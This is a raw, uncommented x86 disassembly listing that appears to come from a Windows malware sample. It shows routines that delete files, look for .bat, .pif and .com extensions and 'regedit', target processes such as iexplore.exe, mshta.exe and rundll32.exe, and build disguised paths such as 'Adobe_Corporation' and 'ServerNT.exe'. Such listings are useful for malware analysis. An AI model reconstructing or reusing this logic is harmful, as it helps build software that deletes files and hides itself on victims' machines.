xor ecx, ecx
mov esi, 1
cmp dword [ebp - 0x30], ecx
jne 0x40b111
cmp dword [ebp - 0x20], ecx
je 0x40b181
cmp dword [0x57cd68], ecx
jne 0x40b181
mov edx, dword [0x57cdc4]
mov edi, dword [0x54d6a4]
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 8
xor eax, eax
add ebx, 0x51791c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x19
mov dword [0x57cdc4], edx
jne 0x40b163
mov dword [0x57cdc4], 0
push 0x5649a8
mov dword [0x57cdc0], 1
call fcn.00459fc0
add esp, 4
xor ecx, ecx
mov esi, 1
mov dword [0x57ce74], ecx
jmp 0x40b18b
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
je 0x40b1a0
cmp dword [0x4cd884], esi
jne 0x40b1a0
mov dword [0x57ccc8], ecx
cmp dword [ebp - 0x24], ecx
je 0x40b1b1
mov dword [0x57cca4], ecx
mov dword [0x57ccb4], ecx
cmp eax, ecx
je 0x40b1c3
cmp dword [0x57cfc0], esi
jne 0x40b1c3
mov dword [0x57cc64], ecx
cmp dword [ebp - 0x18], ecx
jne 0x40b1d6
cmp dword [ebp - 0x30], ecx
jne 0x40b1d6
cmp dword [ebp - 0x20], ecx
je 0x40b609
cmp dword [0x57cd64], esi
jne 0x40b1e4
inc dword [0x57cd60]
cmp dword [0x4e02a8], esi
jne 0x40b1f9
push 0x4cc184
call fcn.0045a020
add esp, 4
cmp dword [0x54e178], esi
jne 0x40b213
push 0x57d044
push 0x519a28
call fcn.0045a2b0
add esp, 8
cmp dword [0x57cfcc], esi
jne 0x40b278
mov edx, dword [0x57cfd4]
mov edi, 0x4a3b28
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 6
xor eax, eax
add ebx, 0x4df5e8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cfcc], 0
mov eax, ecx
mov esi, edi
mov edi, ebx
mov dword [0x57cfd0], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfd4], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b278
mov dword [0x57cfd4], 0
cmp dword [0x57cfc0], 1
jne 0x40b2de
mov edx, dword [0x57cfc8]
mov edi, 0x50ee70
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
xor ebx, ebx
add esi, 0x51769c
mov dword [0x57cfc0], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cfc4], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfc8], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b2e0
mov dword [0x57cfc8], ebx
jmp 0x40b2e0
xor ebx, ebx
cmp dword [0x57cf78], 1
jne 0x40b342
mov edx, dword [0x57cf80]
mov edi, 0x4a4d6c
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x52cf58
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cf78], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [0x57cf7c], 1
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf80], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b342
mov dword [0x57cf80], ebx
cmp dword [0x57cf60], 1
jne 0x40b3e6
mov ecx, dword [0x54d6a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ecx
call ebx
mov edx, dword [0x57cf68]
mov edi, 0x52d4dc
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x5492c0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cf60], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [0x57cf64], 1
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf68], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b3ec
mov edi, 0x52d4dc
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cf68], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x5492c0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x40b3ec
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40b3fe
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40b609
mov eax, dword [0x4e02a8]
mov esi, 1
cmp eax, esi
jne 0x40b419
push 0x519424
call fcn.00449460
add esp, 4
cmp dword [0x54ab88], esi
jne 0x40b42e
push 0x519424
call fcn.00449460
add esp, 4
cmp dword [0x4e02a8], esi
jne 0x40b505
push 0x4cc184
call fcn.0045a020
mov eax, dword [0x54d6a4]
add esp, 4
push str..bat
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40b467
mov ecx, dword [0x54d6a4]
push ecx
call ebx
mov edx, dword [0x54d6a4]
push str..pif
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40b487
mov eax, dword [0x54d6a4]
push eax
call ebx
mov ecx, dword [0x54d6a4]
push str..com
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40b4a8
mov edx, dword [0x54d6a4]
push edx
call ebx
mov edx, dword [0x57cdac]
mov edi, dword [0x54d6a4]
mov esi, edx
or ecx, 0xffffffff
shl esi, 8
xor eax, eax
add esi, 0x51b658
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x19
mov dword [0x57cdac], edx
jne 0x40b4f6
mov dword [0x57cdac], 0
mov dword [0x57cda8], 1
mov esi, 1
cmp dword [0x4df5e4], esi
jne 0x40b5a9
push 0x5614e0
call fcn.0045a020
mov ecx, dword [0x54d6a4]
add esp, 4
push ecx
call ebx
mov edx, dword [0x57cf74]
mov edi, 0x4f1b54
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 6
xor eax, eax
add ebx, 0x4e16ac
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x4df5e4], 0
mov eax, ecx
mov esi, edi
mov edi, ebx
mov dword [0x57cf70], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf74], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b5a9
mov edi, 0x4f1b54
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cf74], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x4e16ac
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x54d92c]
mov ebx, 1
cmp eax, ebx
jne 0x40b5e6
cmp dword [0x54fdd4], ebx
je 0x40b5e6
push 0x50ed70
call fcn.0042d100
add esp, 4
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
cmp dword [0x57cc28], ebx
jne 0x40b60e
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40b60e
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40b60e
push 0x54ba54
call fcn.0045a020
add esp, 4
mov ebx, 1
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40b61c
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40b63f
cmp dword [0x57cc28], ebx
jne 0x40b63f
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40b63f
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40b63f
push 0x54ba54
call fcn.0045a020
add esp, 4
cmp dword [0x4e02a8], ebx
jne 0x40b84c
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40b659
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40b6ac
mov edx, dword [0x57cfec]
mov edi, 0x51a194
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x54e57c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cfe8], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfec], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40b6ac
mov dword [0x57cfec], 0
push 0x491a04
push 0x57cb28
call fcn.0047bec0
push 0x491a00
push 0x57cb28
mov esi, eax
call fcn.0047bec0
push 0x491cf4
push 0x57cb28
mov edi, eax
call fcn.0047bec0
push 0x491cf0
push 0x57cb28
mov ebx, eax
call fcn.0047bec0
push str.regedit
push 0x57cb28
mov dword [ebp - 0x1c], eax
call fcn.0047bec0
add esp, 0x28
mov dword [ebp - 0x2c], eax
test esi, esi
jne 0x40b726
test edi, edi
jne 0x40b726
test ebx, ebx
jne 0x40b726
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40b726
push 0x4cc184
call fcn.0045a020
add esp, 4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x40b73a
push 0x4cc184
call fcn.0045a020
add esp, 4
mov eax, dword [0x5615e0]
mov esi, 1
cmp eax, esi
jne 0x40b755
push 0x4cc184
call fcn.0045a020
add esp, 4
cmp dword [0x54e7fc], esi
jne 0x40b781
push 0x4cc184
call fcn.0045a020
mov eax, dword [0x57ce4c]
add esp, 4
cmp eax, 0xa
jle 0x40b781
push str.iexplore.exe
call fcn.00432070
add esp, 4
cmp dword [0x57ce70], esi
jne 0x40b847
mov eax, dword [ebp - 0x14]
mov dword [0x57ce70], 0
test eax, eax
jne 0x40b847
mov ecx, dword [0x54d6a4]
push ecx
call fcn.004246a0
add esp, 4
cmp eax, esi
jle 0x40b847
cmp eax, 0x25800
jge 0x40b847
push 0x4cc184
call fcn.0042bb60
mov eax, dword [0x57d034]
mov edx, dword [0x54d6a4]
add esp, 4
test eax, eax
push edx
jne 0x40b803
lea eax, [ebp - 0x6b8]
push 0x491994
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x6b8]
push ecx
call fcn.00404010
add esp, 0x10
jmp 0x40b847
lea eax, [ebp - 0x6b8]
push 0x491950
push eax
call fcn.0047a8f8
add esp, 0xc
lea ecx, [ebp - 0x6b8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov ebx, 1
cmp dword [0x54f98c], ebx
je 0x40b860
cmp dword [0x4df40c], ebx
jne 0x40b92d
cmp dword [0x4e02a8], ebx
jne 0x40b92d
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40b92d
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40b92d
push 0x57d044
push 0x4cc184
call fcn.0045a2b0
mov eax, dword [0x57d034]
mov edx, dword [0x54d6a4]
add esp, 8
test eax, eax
push edx
jne 0x40b8c6
lea eax, [ebp - 0x5b8]
push 0x491994
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x5b8]
push ecx
call fcn.00404010
add esp, 0x10
jmp 0x40b90a
lea eax, [ebp - 0x5b8]
push 0x491950
push eax
call fcn.0047a8f8
add esp, 0xc
lea ecx, [ebp - 0x5b8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
cmp dword [0x57ce48], 0xa
jle 0x40b92d
push str.mshta.exe
call fcn.00432070
add esp, 4
push str.rundll32.exe
call fcn.00432070
add esp, 4
cmp dword [0x52d1d8], ebx
jne 0x40ba06
cmp dword [0x4e02a8], ebx
jne 0x40ba06
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40ba06
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40ba06
push 0x57d044
push 0x4cc184
call fcn.0045a2b0
mov eax, dword [0x57d034]
mov edx, dword [0x54d6a4]
add esp, 8
test eax, eax
push edx
jne 0x40b99f
lea eax, [ebp - 0x7b8]
push 0x491994
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x7b8]
push ecx
call fcn.00404010
add esp, 0x10
jmp 0x40b9e3
lea eax, [ebp - 0x7b8]
push 0x491950
push eax
call fcn.0047a8f8
add esp, 0xc
lea ecx, [ebp - 0x7b8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
cmp dword [0x57ce48], 0xa
jle 0x40ba06
push str.mshta.exe
call fcn.00432070
add esp, 4
push str.rundll32.exe
call fcn.00432070
add esp, 4
push 0x5196a8
call fcn.00403990
add esp, 4
push 0x5196a8
push 0x51afd8
push 0x491924
push 0x4f1954
call fcn.0047a8f8
mov ebx, dword [ebp - 0x38]
add esp, 0x10
mov edx, dword [ebp - 0x28]
lea eax, [edx + ebx + 0x11]
mov dword [ebp - 0x28], eax
jmp 0x408d64
push str.Adobe_Corporation
push 0x4f1934
push 0x50d7a8
lea edx, [ebp - 0x2b8]
push 0x4918e0
push edx
call fcn.0047a8f8
add esp, 0x14
cmp dword [0x57cc4c], edi
jne 0x40ba8f
push str.MacroMediaE
push 0x4f1934
push 0x50d7a8
lea eax, [ebp - 0x2b8]
push 0x49189c
push eax
call fcn.0047a8f8
add esp, 0x14
cmp dword [0x57cc50], edi
jne 0x40badd
xor ebx, ebx
xor esi, esi
cmp esi, 6
jge 0x40badf
cmp dword [esi*4 + 0x57cd28], edi
jne 0x40bada
mov ecx, esi
lea edx, [ebp - 0x2b8]
shl ecx, 8
add ecx, str.ServerNT.exe
push ecx
push 0x4f1934
push 0x50d7a8
push 0x48bad0
push edx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd28], ebx
inc esi
jmp 0x40ba9b
xor ebx, ebx
mov eax, dword [0x57d034]
mov dword [0x57cc48], ebx
cmp eax, ebx
mov dword [0x57cc50], ebx
mov dword [0x57cc4c], ebx
push 0x51afd8
jne 0x40bb09
call fcn.00403680
add esp, 4
jmp 0x40bb32
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x40bb4f
lea eax, [ebp - 0x2b8]
push eax
call fcn.00404010
add esp, 4
jmp 0x408d64
lea ecx, [ebp - 0x2b8]
jmp 0x4090ad
mov eax, dword [ebp - 0x34]
mov dword [eax + 0x214], 0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret